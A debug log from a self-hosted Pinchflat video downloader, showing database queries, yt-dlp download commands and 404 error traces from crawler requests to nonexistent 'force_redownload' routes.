o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:37:12.877 [debug] QUERY OK source="sources" db=0.6ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:37:12.877 [debug] QUERY OK source="tasks" db=1.3ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:37:12.877 [debug] QUERY OK source="media_items" db=0.3ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [98, 99] 22:37:12.878 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:37:12.878 [debug] QUERY OK source="media_items" db=0.3ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [98, 99] 22:37:12.878 [debug] QUERY OK source="media_items" db=0.4ms idle=0.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [99] 22:37:12.879 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [99] 22:37:12.879 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:37:12.880 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:12.880 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:12.880 [debug] Running yt-dlp command for action: get_downloadable_status 22:37:12.881 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:12.881 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:12.881 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:12.881 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XrIdECo9YSA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/38/e9/38e99592606f4d4023ea7ae69d8dc5e3709175816ebe4d152b481a50b46d2481.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:37:15.183 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XrIdECo9YSA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/38/e9/38e99592606f4d4023ea7ae69d8dc5e3709175816ebe4d152b481a50b46d2481.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:37:15.183 [debug] Running yt-dlp command for action: download 22:37:15.183 [debug] QUERY OK source="settings" db=0.1ms idle=1120.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:15.183 [debug] QUERY OK source="settings" db=0.0ms idle=1121.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:15.183 [debug] QUERY OK source="settings" db=0.0ms idle=1121.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:15.183 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XrIdECo9YSA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ae/2d/ae2d0bca3c9c63f2374ea4d20b90d373799d3c39fddb4a1266a5dad90b838241.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:37:21.288 [info] GET /sources/2/force_redownload 22:37:21.289 [debug] QUERY OK source="settings" db=0.2ms idle=1226.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:21.289 [debug] QUERY OK source="settings" db=0.1ms idle=850.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:21.290 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:37:21.290 [error] #PID<0.4899.0> running PinchflatWeb.Endpoint (connection #PID<0.4898.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/2/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4898.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46064}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4899.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/2"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/2/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDg0Pcrharp7JsAAU6C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4898.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46064}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4898.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46064}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4899.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 22:37:28.929 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:58.931 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.678 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:38:21.895 [info] GET /sources/1/force_redownload 22:38:21.896 [debug] QUERY OK source="settings" db=0.1ms idle=1833.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:38:21.896 [debug] QUERY OK source="settings" db=0.0ms idle=1834.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:38:21.896 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:38:21.897 [error] #PID<0.4906.0> running PinchflatWeb.Endpoint (connection #PID<0.4905.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4905.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46184}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4906.0>, params: %{}, path_info: ["sources", "1", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDg3xOmLJkFH9sAAU8C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4905.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46184}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4905.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 46184}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.4906.0>, params: %{}, path_info: ["sources", "1", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", (truncated) 22:38:28.933 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:41.432 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Mo5JVuW4_qk --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/31/f2/31f22041c2d199165d21fcfdea25cd98825ce134934c324e21ad60889e64f564.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:38:41.445 [debug] Running yt-dlp command for action: download_thumbnail 22:38:41.445 [debug] QUERY OK source="settings" db=0.0ms idle=1383.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:38:41.445 [debug] QUERY OK source="settings" db=0.0ms idle=1383.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:38:41.445 [debug] QUERY OK source="settings" db=0.0ms idle=862.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:38:41.445 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Mo5JVuW4_qk --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/98/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/f6/a0/f6a0cb7b87f9b0be82f3f31b385fe7bb1119d05232185fbcc771b767527d43a5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:38:44.216 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Mo5JVuW4_qk --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/98/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/f6/a0/f6a0cb7b87f9b0be82f3f31b385fe7bb1119d05232185fbcc771b767527d43a5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:38:44.217 [debug] QUERY OK db=0.0ms idle=1154.4ms begin [] 22:38:44.217 [debug] QUERY OK source="media_items" db=0.6ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:38:41Z], "/downloads/Last Meals/2024-10-08 Serj Tankian Eats His Last Meal/Serj Tankian Eats His Last Meal [Mo5JVuW4_qk].mp4", ~U[2026-03-28 02:38:44Z], 98] 22:38:44.218 [debug] QUERY OK source="media_metadata" db=0.5ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/98/metadata.json.gz", "/config/metadata/media_items/98/thumbnail.jpg", 98, ~U[2026-03-28 02:38:44Z], ~U[2026-03-28 02:38:44Z]] 22:38:44.218 [debug] QUERY OK db=0.0ms commit [] 